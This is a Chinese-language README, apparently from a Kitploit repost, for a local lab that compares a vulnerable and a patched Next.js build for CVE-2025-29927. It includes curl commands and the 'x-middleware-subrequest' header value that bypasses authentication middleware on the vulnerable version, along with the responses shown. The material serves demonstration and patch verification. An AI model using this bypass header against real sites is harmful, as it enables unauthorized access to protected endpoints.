nextjs-cve-2025-29927 — vulnerable-nextjs-14-CVE-2025-29927 | Kitploit

Next.js CVE-2025-29927 中间件漏洞

该仓库是一个使用 Next.js 15.2.3 和 Next.js 15.1.7 版本比较 CVE-2025-29927 中间件漏洞的 monorepo 项目。

漏洞描述

CVE-2025-29927 是 Next.js 中间件中发现的一个安全漏洞，可以通过使用 x-middleware-subrequest 头绕过认证中间件。该漏洞影响以下版本：

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9 上述版本已通过更新到相应补丁版本得到修复。

运行方法

克隆仓库。
安装依赖：pnpm install
启动开发服务器：pnpm dev
访问各个应用

已修复版本 (15.2.3): http://localhost:3000
存在漏洞版本 (15.1.7): http://localhost:3001

不带令牌访问 /api/protected 端点将被拒绝访问。

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

提供有效的令牌即可成功访问受保护的端点。

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

利用漏洞绕过中间件。

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

项目结构

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 存在漏洞版本
│   └── next15_2_3/  # 已修复版本
├── packages/
│   └── ui/          # 共享 UI 组件
└── README.md

参考链接